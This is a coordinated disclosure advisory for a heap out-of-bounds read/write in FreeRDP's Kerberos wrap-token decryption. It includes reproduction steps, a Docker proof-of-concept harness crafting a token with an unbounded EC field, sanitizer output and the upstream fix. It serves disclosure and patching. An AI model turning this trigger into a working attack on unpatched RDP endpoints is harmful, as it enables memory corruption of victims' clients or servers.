ANT-2026-S1E4Y69J · freerdp/freerdp
oob-write high
CVE-2026-73242 GHSA-vv64-95pc-vj9v
Severity Claude high · Security research firm high · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Ada Logics.
ANT-2026-S1E4Y69J: Kerberos wrap-token EC field drives out-of-bounds decrypt
kerberos_DecryptMessage() reads the 16-bit EC and RRC fields from the peer-supplied GSS Wrap token header and validates RRC and the signature buffer length but never bounds EC. It then computes iov[0].data.data = header + 16 + rrc + ec and iov[2].data.data = header + 16 + ec and passes them to krb5_k_decrypt_iov(), which for AES-CTS-HMAC-SHA1-96 decrypts the IOVs in place before verifying the HMAC. With ec up to 0xFFFF these pointers land ~64KB past a ~60-byte heap chunk, producing an attacker-chosen-offset OOB read and write into adjacent heap memory before the integrity check fails. This is reachable via CredSSP pubKeyAuth/authInfo whenever FreeRDP's internal Kerberos SSPI is used for NLA, from a malicious server to a client or from an authenticated domain client to a FreeRDP server.
Target
Project: freerdp/freerdp
Location: winpr/libwinpr/sspi/Kerberos/kerberos.c:2242
Discovery: static analysis — not yet dynamically reproduced
Technical Details
The root cause is a missing bounds check on the attacker-controlled 16-bit EC field read at kerberos.c:2205: the surrounding validation at kerberos.c:2240/2242 pins rrc and sig_buffer->cbBuffer to enctype-derived constants but never constrains ec before it is added into the IOV base-pointer arithmetic at kerberos.c:2246 and 2248. Because MIT/Heimdal DK-family enctypes decrypt-then-MAC, krb5_k_decrypt_iov writes decrypted bytes in place at those OOB addresses before the HMAC failure aborts the operation.
Reproduction
- Establish an NLA/Kerberos session with the victim FreeRDP endpoint and complete the Kerberos context.
- Craft a GSS Wrap token of exactly cbSecurityTrailer bytes (e.g. 60 for AES256-CTS-HMAC-SHA1-96) with rrc set to the expected value and EC=0xFFFF.
- Send it as the CredSSP pubKeyAuth (or authInfo) blob in a TSRequest.
- Victim's kerberos_DecryptMessage() builds IOV pointers ~64KB past the heap-allocated token buffer and calls krb5_k_decrypt_iov().
- krb5 decrypts the OOB region in place (heap read + write) before the HMAC check fails and the call returns an error.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Suggested Fix
Before constructing the IOV pointers, validate that 16 + rrc + ec and 16 + ec do not exceed the signature/data buffer lengths and that EC is consistent with the token size.
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-S1E4Y69J.
Reference: ANT-2026-S1E4Y69J
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Ada Logics. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
This issue was found using AI and agents, and has been reviewed manually.
The reproducer of this vulnerability is a harness-style reproducer rather than a full end-to-end reproducer. This is because the full end-to-end would be quite elaborate and the harness style reproducer captures the vulnerability well. I have thoroughly reviewed this to make sure we're not over-approximating the program flow. The reproducer still relies on the FreeRDP code to trigger the vuln but without relying on a binary produced by FreeRDP.
Summary
FreeRDP's Kerberos SSPI decrypts a peer-supplied GSS Wrap token (RFC 4121) during
CredSSP/NLA. The token header carries two 16-bit fields: RRC (right rotation
count) and EC (extra count). kerberos_DecryptMessage() validates RRC and the
overall buffer length, but never bounds EC. It then uses EC directly in the
pointer arithmetic that locates the encrypted regions, so a large EC moves those
pointers past the end of the token buffer. The decrypt then runs on that
out-of-bounds memory.
Because the AES-CTS-HMAC enctypes used by RDP NLA are decrypt-then-verify, the
out-of-bounds read and the in-place out-of-bounds write happen before the
integrity check can fail. With EC = 0xFFFF the regions land ~64 KB past a ~60-byte
heap allocation.
Affected versions
- FreeRDP
master— HEAD5e8e987b469b60a3bafadf8f5afc40f91c09f458(winpr/libwinpr/sspi/Kerberos/kerberos.c; the affected code is unchanged from earlier 3.x releases). Unpatched. - FreeRDP 3.x — same code present in the released series (
WITH_KRB5builds).
Details
kerberos_DecryptMessage() (winpr/libwinpr/sspi/Kerberos/kerberos.c):
ec = winpr_Data_Get_UINT16_BE(&header[4]); // :2278 attacker-controlled, NEVER bounded
rrc = winpr_Data_Get_UINT16_BE(&header[6]); // :2279
... /* rrc and the total length are validated; note NO term uses ec: */
if (sig_buffer->cbBuffer != 16 + rrc + iov[0].data.length) // :2315 no `ec`
return SEC_E_INVALID_TOKEN;
/* Locate the message parts — ec is added straight into the base pointers: */
iov[0].data.data = (char*)&header[16 + rrc + ec]; // :2319 OOB base
iov[2].data.data = (char*)&header[16 + ec]; // :2321 OOB base
if (krb_log_exec(krb5glue_decrypt_iov, creds->ctx, key, usage, iov, ...)) // :2328
return SEC_E_INTERNAL_ERROR; // decrypt-in-place happens here
The length check at :2315 pins RRC and cbBuffer to enctype constants (for
AES256-CTS-HMAC-SHA1-96: RRC = 28, cbBuffer = 60) but contains no EC
term. Nothing constrains 16 + ec or 16 + rrc + ec to stay inside the buffer,
so EC (0..0xFFFF) freely offsets the IOV base pointers out of bounds. MIT/Heimdal
DK enctypes decrypt the IOV regions in place and only check the HMAC afterwards,
so krb5_k_decrypt_iov() reads and writes at the attacker-chosen offset before any
error is returned.
Reach: the token comes straight from the peer. nla_recv / nla_server_recv
→ credssp_auth_decrypt (libfreerdp/core/credssp_auth.c) calls the SSPI
DecryptMessage on the peer's pubKeyAuth/authInfo bytes → kerberos_DecryptMessage.
Both directions apply: a malicious server to a FreeRDP client, and an authenticated
client to a FreeRDP server.
Proof of Concept
A self-contained Docker reproducer builds real MIT krb5 (1.21.3) and the real
FreeRDP libwinpr, both with AddressSanitizer, and exercises the real,
unmodified kerberos_DecryptMessage(). It reconstructs the exact state a
completed Kerberos NLA handshake leaves behind — a real AES256-CTS-HMAC-SHA1-96
session key and Kerberos SSPI context — then feeds the function one GSS Wrap token
with EC = 0xFFFF (RRC = 28, 60-byte token), i.e. the same call
credssp_auth_decrypt() makes on peer input.
Scope note: this drives the real vulnerable function inside real winpr + real krb5 (so the out-of-bounds access occurs in genuine krb5 crypto code), with the post-authentication context constructed in-process rather than over a live network handshake. Reaching it over the wire additionally requires a completed Kerberos NLA context (a KDC, a service keytab, and a peer that finishes the Kerberos exchange before sending the malformed token).
Build and run:
docker build -t frdp-krb5-ec-oob .
docker run --rm frdp-krb5-ec-oob
AddressSanitizer output (master HEAD 5e8e987b, 2026-07-14):
[poc] sig token = 60 bytes (heap chunk), EC=0xffff RRC=28; iov[2].data = header + 16 + EC = header + 65551 (OOB)
==8==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b8621ff052b ...
READ of size 16 at 0x7b8621ff052b thread T0
#0 __asan_memcpy
#1 k5_iov_cursor_get src/lib/crypto/krb/aead.c:182:9
#2 krb5int_aes_decrypt src/lib/crypto/builtin/enc_provider/aes.c:350:5
#3 krb5int_dk_decrypt src/lib/crypto/krb/enc_dk_hmac.c:246:11
#4 kerberos_DecryptMessage winpr/libwinpr/sspi/Kerberos/kerberos.c:2328:6
#5 run_poc winpr/libwinpr/sspi/Kerberos/kerberos.c (the harness)
Address 0x7b8621ff052b is a wild pointer inside of access range of size 0x000000000010.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/lib/crypto/krb/aead.c:182:9 in k5_iov_cursor_get
The read at header + 16 + EC is the first gathered AES block; the matching
scatter writes the decrypted block back to the same out-of-bounds region.
Complete reproducer files
Place these three files in one directory and run the build/run commands above.
harness.c is appended to the real kerberos.c so it can call the static
kerberos_DecryptMessage(); main.c is the entry point that invokes it.
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
# Pinned commit: current upstream HEAD of the default branch.
ARG TARGET_COMMIT=5e8e987b469b60a3bafadf8f5afc40f91c09f458
ARG CLANG_VERSION=20
# Pinned MIT krb5 release, built from source WITH ASan so the in-place AES-CTS
# decrypt writes land in instrumented code (and produce symbolized frames).
ARG KRB5_VERSION=1.21.3
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake ninja-build pkg-config libc6-dev \
bison flex perl python3 \
libssl-dev zlib1g-dev \
wget gnupg lsb-release software-properties-common xz-utils \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-${CLANG_VERSION}
ENV CXX=clang++-${CLANG_VERSION}
ENV ASAN_CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
# ---- Build MIT krb5 from source with AddressSanitizer ----
RUN wget -qO /tmp/krb5.tar.gz https://kerberos.org/dist/krb5/1.21/krb5-${KRB5_VERSION}.tar.gz \
&& mkdir -p /src/krb5 && tar -xzf /tmp/krb5.tar.gz -C /src/krb5 --strip-components=1
WORKDIR /src/krb5/src
# Static-only build: the ASan runtime is resolved at the final link of the
# winpr .so / harness, avoiding per-shared-object asan-runtime link failures.
RUN CC=${CC} CFLAGS="${ASAN_CFLAGS} -fPIC -fcommon -mllvm -asan-use-odr-indicator=0" \
LDFLAGS="-fsanitize=address" \
./configure --prefix=/usr/local --enable-static --disable-shared \
--without-system-verto --disable-rpath \
&& make -j"$(nproc)" && make install
RUN ldconfig
# ---- Clone FreeRDP ----
RUN git clone https://github.com/freerdp/freerdp /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
# Append the harness INTO the real kerberos.c translation unit so it can
# reach the static kerberos_DecryptMessage() and the internal struct layouts.
COPY harness.c /tmp/harness.c
RUN cat /tmp/harness.c >> winpr/libwinpr/sspi/Kerberos/kerberos.c
# Optional one-line candidate fix: bound EC so the IOV base pointers cannot be
# pushed past the token buffer. APPLY_FIX=1 enables it for fix verification.
ARG APPLY_FIX=0
COPY apply_fix.py /tmp/apply_fix.py
RUN if [ "${APPLY_FIX}" = "1" ]; then python3 /tmp/apply_fix.py; else echo "no fix"; fi
# X11 + misc dev headers so the full-project CMake configure step succeeds
# (we still only *build* the winpr target).
RUN apt-get update && apt-get install -y --no-install-recommends \
libx11-dev libxext-dev libxcursor-dev libxi-dev libxrandr-dev \
libxrender-dev libxfixes-dev libxkbcommon-dev libxdamage-dev \
libxtst-dev libxv-dev uuid-dev \
&& rm -rf /var/lib/apt/lists/*
# ---- Build winpr (only) with ASan, against our ASan krb5 ----
ENV PATH=/usr/local/bin:$PATH
RUN cmake -GNinja -B build -S . \
-DCMAKE_BUILD_TYPE=Debug \
-DWITH_KRB5=ON -DKRB5_ROOT_CONFIG=/usr/local/bin/krb5-config -DKRB5_ROOT_FLAVOUR=MIT \
-DWITH_SERVER=OFF -DWITH_CLIENT=OFF -DWITH_CLIENT_COMMON=OFF -DWITH_SAMPLE=OFF \
-DWITH_CHANNELS=OFF -DWITH_CUPS=OFF -DBUILD_TESTING=OFF \
-DWITH_MANPAGES=OFF -DWITH_SWSCALE=OFF -DWITH_FFMPEG=OFF -DWITH_X11=OFF \
-DCMAKE_C_FLAGS="${ASAN_CFLAGS}" -DCMAKE_CXX_FLAGS="${ASAN_CFLAGS}" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
&& cmake --build build --target winpr -j"$(nproc)"
RUN find /src/repo/build -name 'libwinpr*.so*' && \
nm -D $(find /src/repo/build -name 'libwinpr*.so' | head -1) | grep run_poc
# ---- Compile the entry point against libwinpr ----
COPY main.c /tmp/main.c
# libwinpr3.so was linked against STATIC krb5 and left krb5-internal symbols
# (k5_*, krb5int_*) undefined; resolve them at the final executable link by
# pulling the static krb5 archives in a link group.
RUN WINPR_SO_DIR=$(dirname $(find /src/repo/build -name 'libwinpr*.so' | head -1)) && \
${CC} ${ASAN_CFLAGS} /tmp/main.c \
-L${WINPR_SO_DIR} -lwinpr3 \
-Wl,--start-group /usr/local/lib/libkrb5.a /usr/local/lib/libk5crypto.a \
/usr/local/lib/libcom_err.a /usr/local/lib/libkrb5support.a \
/usr/local/lib/libgssapi_krb5.a -Wl,--end-group \
-lresolv -ldl -lpthread \
-Wl,-rpath,${WINPR_SO_DIR} -Wl,-rpath,/usr/local/lib \
-fsanitize=address -o /tmp/poc_run && \
echo "${WINPR_SO_DIR}" > /tmp/winpr_so_dir
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-${CLANG_VERSION}/bin/llvm-symbolizer
ENV LD_LIBRARY_PATH=/usr/local/lib
CMD ["/bin/sh","-c","export LD_LIBRARY_PATH=$(cat /tmp/winpr_so_dir):/usr/local/lib; /tmp/poc_run 2>&1; echo EXIT=$?"]
harness.c
/* Appended to the real winpr kerberos.c translation unit so it can call the
* static kerberos_DecryptMessage() and see the internal s_KRB_CONTEXT /
* KRB_CREDENTIALS layouts, the SSPI helpers and the GSS token constants.
*
* It builds the exact state a completed Kerberos NLA handshake leaves behind
* (a real AES256-CTS-HMAC-SHA1-96 krb5 session key + Kerberos SSPI context),
* crafts one GSS Wrap token with EC=0xFFFF, and feeds it to
* kerberos_DecryptMessage() — the same call CredSSP/NLA makes on the
* peer-supplied pubKeyAuth/authInfo blob. */
#ifdef WITH_KRB5_MIT
WINPR_API int run_poc(void);
int run_poc(void)
{
krb5_context kctx = nullptr;
krb5_error_code rc = krb5_init_context(&kctx);
if (rc) { fprintf(stderr, "[poc] krb5_init_context failed %d\n", (int)rc); return 2; }
/* A random session key with the same enctype NLA negotiates for RDP. */
krb5_keyblock kb;
memset(&kb, 0, sizeof(kb));
rc = krb5_c_make_random_key(kctx, ENCTYPE_AES256_CTS_HMAC_SHA1_96, &kb);
if (rc) { fprintf(stderr, "[poc] krb5_c_make_random_key failed %d\n", (int)rc); return 2; }
krb5_key kkey = nullptr;
rc = krb5_k_create_key(kctx, &kb, &kkey);
if (rc) { fprintf(stderr, "[poc] krb5_k_create_key failed %d\n", (int)rc); return 2; }
KRB_CREDENTIALS* creds = (KRB_CREDENTIALS*)calloc(1, sizeof(KRB_CREDENTIALS));
creds->ctx = kctx;
KRB_CONTEXT* ctx = (KRB_CONTEXT*)calloc(1, sizeof(KRB_CONTEXT));
ctx->credentials = creds;
ctx->flags = SSPI_GSS_C_CONF_FLAG; /* confidentiality negotiated */
ctx->acceptor = FALSE; /* we are the initiator (client) */
ctx->keyset.acceptor_key = kkey; /* get_key() returns this */
/* AES256-CTS-HMAC-SHA1-96: header=16, padding=0, trailer=12, so the
* validation pins rrc = 28 and cbBuffer = 60. EC is NEVER bounded. */
const uint16_t EC = 0xFFFF;
const uint16_t RRC = 28;
const ULONG TOKLEN = 60;
BYTE* tok = (BYTE*)calloc(1, TOKLEN);
winpr_Data_Write_UINT16_BE(tok, TOK_ID_WRAP);
tok[2] = (BYTE)(FLAG_SENDER_IS_ACCEPTOR | FLAG_WRAP_CONFIDENTIAL);
tok[3] = 0xFF;
winpr_Data_Write_UINT16_BE(&tok[4], EC); /* <<< unbounded attacker field */
winpr_Data_Write_UINT16_BE(&tok[6], RRC);
winpr_Data_Write_UINT64_BE(&tok[8], 0); /* seq_no */
BYTE* dbuf = (BYTE*)calloc(1, 1);
SecBuffer buffers[2];
memset(buffers, 0, sizeof(buffers));
buffers[0].BufferType = SECBUFFER_TOKEN;
buffers[0].cbBuffer = TOKLEN;
buffers[0].pvBuffer = tok;
buffers[1].BufferType = SECBUFFER_DATA;
buffers[1].cbBuffer = 0;
buffers[1].pvBuffer = dbuf;
SecBufferDesc msg;
memset(&msg, 0, sizeof(msg));
msg.ulVersion = SECBUFFER_VERSION;
msg.cBuffers = 2;
msg.pBuffers = buffers;
SecHandle handle;
memset(&handle, 0, sizeof(handle));
sspi_SecureHandleSetUpperPointer(&handle, (void*)KERBEROS_SSP_NAME);
sspi_SecureHandleSetLowerPointer(&handle, ctx);
ULONG qop = 0;
fprintf(stderr,
"[poc] sig token = %lu bytes (heap chunk), EC=0x%04x RRC=%u; "
"iov[2].data = header + 16 + EC = header + %u (OOB)\n",
(unsigned long)TOKLEN, EC, RRC, 16 + EC);
fflush(stderr);
SECURITY_STATUS st = kerberos_DecryptMessage(&handle, &msg, 0, &qop);
fprintf(stderr, "[poc] kerberos_DecryptMessage returned 0x%08x (no crash)\n", (unsigned)st);
return 0;
}
#else /* !WITH_KRB5_MIT */
WINPR_API int run_poc(void);
int run_poc(void) { fprintf(stderr, "[poc] built without WITH_KRB5_MIT\n"); return 3; }
#endif
main.c
/* Entry point. run_poc() is the harness compiled into the real winpr kerberos.c
* translation unit (so it can reach the static kerberos_DecryptMessage()). */
extern int run_poc(void);
int main(void)
{
return run_poc();
}
apply_fix.py (for the fix check — docker build --build-arg APPLY_FIX=1 ...)
#!/usr/bin/env python3
# Bound the attacker-controlled EC field so the IOV base pointers cannot be
# pushed past the token buffer before krb5_k_decrypt_iov() decrypts in place.
p = "winpr/libwinpr/sspi/Kerberos/kerberos.c"
s = open(p).read()
anchor = "\t/* Locate the parts of the message */"
guard = (
"\t/* FIX: EC must not push the IOV base pointers past the token buffer */\n"
"\tif ((size_t)16 + rrc + ec + iov[0].data.length > sig_buffer->cbBuffer)\n"
"\t\treturn SEC_E_INVALID_TOKEN;\n\n"
)
assert anchor in s, "anchor not found"
s = s.replace(anchor, guard + anchor, 1)
open(p, "w").write(s)
print("FIX applied")
Suggested fix
Reject a token whose EC (with RRC) would push the IOV base pointers past the
signature buffer, before computing them:
if (sig_buffer->cbBuffer != 16 + rrc + iov[0].data.length)
return SEC_E_INVALID_TOKEN;
+
+ /* EC must not move the IOV base pointers past the token buffer. */
+ if ((size_t)16 + rrc + ec + iov[0].data.length > sig_buffer->cbBuffer)
+ return SEC_E_INVALID_TOKEN;
For FreeRDP's RDP-NLA usage the send side writes EC = 0, so rejecting EC > 0 is
safe. We verified this guard against the reproducer: the out-of-bounds access no
longer occurs and the call returns SEC_E_INVALID_TOKEN.
References
winpr/libwinpr/sspi/Kerberos/kerberos.c(master5e8e987b) — readec(:2278), length check omittingec(:2315), OOB pointer math (:2319,:2321), decrypt-iov call (:2328).- Reach:
libfreerdp/core/credssp_auth.c(credssp_auth_decrypt→DecryptMessage),libfreerdp/core/nla.c(peerpubKeyAuth/authInfo). - RFC 4121 §4.2.6.2 (GSS Wrap token
EC/RRC); CWE-787, CWE-125, CWE-20.
Attribution
This issue was found using AI and agents, and has been reviewed manually. Please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting. Let us know if you need any more information.
Disclosure
We follow coordinated disclosure policy here: https://www.anthropic.com/coordinated-vulnerability-disclosure (90 day deadline).
The change that resolved this finding.
diff --git a/winpr/libwinpr/sspi/Kerberos/kerberos.c b/winpr/libwinpr/sspi/Kerberos/kerberos.c
index 9661f71a9515..03b208fbdfdc 100644
--- a/winpr/libwinpr/sspi/Kerberos/kerberos.c
+++ b/winpr/libwinpr/sspi/Kerberos/kerberos.c
@@ -2242,21 +2242,6 @@ static SECURITY_STATUS SEC_ENTRY kerberos_DecryptMessage(WINPR_ATTR_UNUSED PCtxt
{
#ifdef WITH_KRB5
KRB_CONTEXT* context = get_context(phContext);
- PSecBuffer sig_buffer = nullptr;
- PSecBuffer data_buffer = nullptr;
- krb5glue_key key = nullptr;
- krb5_keyusage usage = 0;
- uint16_t tok_id = 0;
- BYTE flags = 0;
- uint16_t ec = 0;
- uint16_t rrc = 0;
- uint64_t seq_no = 0;
- krb5_crypto_iov iov[] = { { KRB5_CRYPTO_TYPE_HEADER, WINPR_C_ARRAY_INIT },
- { KRB5_CRYPTO_TYPE_DATA, WINPR_C_ARRAY_INIT },
- { KRB5_CRYPTO_TYPE_DATA, WINPR_C_ARRAY_INIT },
- { KRB5_CRYPTO_TYPE_PADDING, WINPR_C_ARRAY_INIT },
- { KRB5_CRYPTO_TYPE_TRAILER, WINPR_C_ARRAY_INIT } };
-
if (!context)
return SEC_E_INVALID_HANDLE;
@@ -2265,19 +2250,19 @@ static SECURITY_STATUS SEC_ENTRY kerberos_DecryptMessage(WINPR_ATTR_UNUSED PCtxt
KRB_CREDENTIALS* creds = context->credentials;
- sig_buffer = sspi_FindSecBuffer(pMessage, SECBUFFER_TOKEN);
- data_buffer = sspi_FindSecBuffer(pMessage, SECBUFFER_DATA);
+ const PSecBuffer sig_buffer = sspi_FindSecBuffer(pMessage, SECBUFFER_TOKEN);
+ PSecBuffer data_buffer = sspi_FindSecBuffer(pMessage, SECBUFFER_DATA);
if (!sig_buffer || !data_buffer || sig_buffer->cbBuffer < 16)
return SEC_E_INVALID_TOKEN;
/* Read in header information */
- BYTE* header = sig_buffer->pvBuffer;
- tok_id = winpr_Data_Get_UINT16_BE(header);
- flags = header[2];
- ec = winpr_Data_Get_UINT16_BE(&header[4]);
- rrc = winpr_Data_Get_UINT16_BE(&header[6]);
- seq_no = winpr_Data_Get_UINT64_BE(&header[8]);
+ const BYTE* header = sig_buffer->pvBuffer;
+ const uint16_t tok_id = winpr_Data_Get_UINT16_BE(header);
+ const BYTE flags = header[2];
+ const uint16_t ec = winpr_Data_Get_UINT16_BE(&header[4]);
+ const uint16_t rrc = winpr_Data_Get_UINT16_BE(&header[6]);
+ const uint64_t seq_no = winpr_Data_Get_UINT64_BE(&header[8]);
/* Check that the header is valid */
if ((tok_id != TOK_ID_WRAP) || (header[3] != 0xFF))
@@ -2298,12 +2283,17 @@ static SECURITY_STATUS SEC_ENTRY kerberos_DecryptMessage(WINPR_ATTR_UNUSED PCtxt
return SEC_E_INVALID_TOKEN;
/* Find the proper key and key usage */
- key = get_key(&context->keyset);
+ krb5glue_key key = get_key(&context->keyset);
if (!key || ((flags & FLAG_ACCEPTOR_SUBKEY) && (context->keyset.acceptor_key != key)))
return SEC_E_INTERNAL_ERROR;
- usage = context->acceptor ? KG_USAGE_INITIATOR_SEAL : KG_USAGE_ACCEPTOR_SEAL;
+ krb5_keyusage usage = context->acceptor ? KG_USAGE_INITIATOR_SEAL : KG_USAGE_ACCEPTOR_SEAL;
/* Fill in the lengths of the iov array */
+ krb5_crypto_iov iov[] = { { KRB5_CRYPTO_TYPE_HEADER, WINPR_C_ARRAY_INIT },
+ { KRB5_CRYPTO_TYPE_DATA, WINPR_C_ARRAY_INIT },
+ { KRB5_CRYPTO_TYPE_DATA, WINPR_C_ARRAY_INIT },
+ { KRB5_CRYPTO_TYPE_PADDING, WINPR_C_ARRAY_INIT },
+ { KRB5_CRYPTO_TYPE_TRAILER, WINPR_C_ARRAY_INIT } };
iov[1].data.length = data_buffer->cbBuffer;
iov[2].data.length = 16;
if (krb_log_exec(krb5glue_crypto_length_iov, creds->ctx, key, iov, ARRAYSIZE(iov)))
@@ -2316,9 +2306,17 @@ static SECURITY_STATUS SEC_ENTRY kerberos_DecryptMessage(WINPR_ATTR_UNUSED PCtxt
return SEC_E_INVALID_TOKEN;
/* Locate the parts of the message */
- iov[0].data.data = (char*)&header[16 + rrc + ec];
+ const size_t iov0Offset = 16ull + rrc + ec;
+ if (iov0Offset + iov[0].data.length > sig_buffer->cbBuffer)
+ return SEC_E_INVALID_TOKEN;
+
+ const size_t iov2Offset = 16ull + ec;
+ if (iov2Offset + iov[2].data.length > sig_buffer->cbBuffer)
+ return SEC_E_INVALID_TOKEN;
+
+ iov[0].data.data = &header[iov0Offset];
iov[1].data.data = data_buffer->pvBuffer;
- iov[2].data.data = (char*)&header[16 + ec];
+ iov[2].data.data = &header[iov2Offset];
char* data2 = iov[2].data.data;
iov[3].data.data = &data2[iov[2].data.length];
https://github.com/FreeRDP/FreeRDP/commit/0adf5e30d01be84e190a359a7bdd37bc51d740cc
Recorded dates, in order.
- 2026-04-02 Discovered or logged
- 2026-07-16 Patch released
- 2026-07-22 Sent to maintainer
- 2026-07-22 Maintainer acknowledged
- 2026-09-28 Publicly revealed
SHA-3-512 hash:
e6007fd1601b40d0fb7b19dbb20bac927e968325cd83c0c1b5abf404b197925dd43d2343500ef7d1632611d5cce038ccc4ddf9e8f7b823ed5f4712ee94feeab3
Committed 2026-07-22 07:29 UTC
Revealed 2026-09-28 21:57 UTC
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-S1E4Y69J",
"bug_class": "Out-of-Bounds Write / Memory Corruption",
"claude_severity": "high",
"commit_sha": null,
"created_at": "2026-04-16T01:52:45+00:00",
"description": "kerberos_DecryptMessage() reads the 16-bit EC and RRC fields from the peer-supplied GSS Wrap token header and validates RRC and the signature buffer length but never bounds EC. It then computes iov[0].data.data = header + 16 + rrc + ec and iov[2].data.data = header + 16 + ec and passes them to krb5_k_decrypt_iov(), which for AES-CTS-HMAC-SHA1-96 decrypts the IOVs in place before verifying the HMAC. With ec up to 0xFFFF these pointers land ~64KB past a ~60-byte heap chunk, producing an attacker-chosen-offset OOB read and write into adjacent heap memory before the integrity check fails. This is reachable via CredSSP pubKeyAuth/authInfo whenever FreeRDP's internal Kerberos SSPI is used for NLA, from a malicious server to a client or from an authenticated domain client to a FreeRDP server.",
"discovered_at": "2026-04-02T00:00:00+00:00",
"location": "winpr/libwinpr/sspi/Kerberos/kerberos.c:2242",
"poc_sha256": null,
"preimage_version": 1,
"project": "freerdp/freerdp",
"reproduction": [
"1. Establish an NLA/Kerberos session with the victim FreeRDP endpoint and complete the Kerberos context.",
"2. Craft a GSS Wrap token of exactly cbSecurityTrailer bytes (e.g. 60 for AES256-CTS-HMAC-SHA1-96) with rrc set to the expected value and EC=0xFFFF.",
"3. Send it as the CredSSP pubKeyAuth (or authInfo) blob in a TSRequest.",
"4. Victim's kerberos_DecryptMessage() builds IOV pointers ~64KB past the heap-allocated token buffer and calls krb5_k_decrypt_iov().",
"5. krb5 decrypts the OOB region in place (heap read + write) before the HMAC check fails and the call returns an error."
],
"technical_details": "The root cause is a missing bounds check on the attacker-controlled 16-bit EC field read at kerberos.c:2205: the surrounding validation at kerberos.c:2240/2242 pins rrc and sig_buffer->cbBuffer to enctype-derived constants but never constrains ec before it is added into the IOV base-pointer arithmetic at kerberos.c:2246 and 2248. Because MIT/Heimdal DK-family enctypes decrypt-then-MAC, krb5_k_decrypt_iov writes decrypted bytes in place at those OOB addresses before the HMAC failure aborts the operation.",
"title": "Kerberos wrap-token EC field drives out-of-bounds decrypt",
"vendor_severity": "high"
}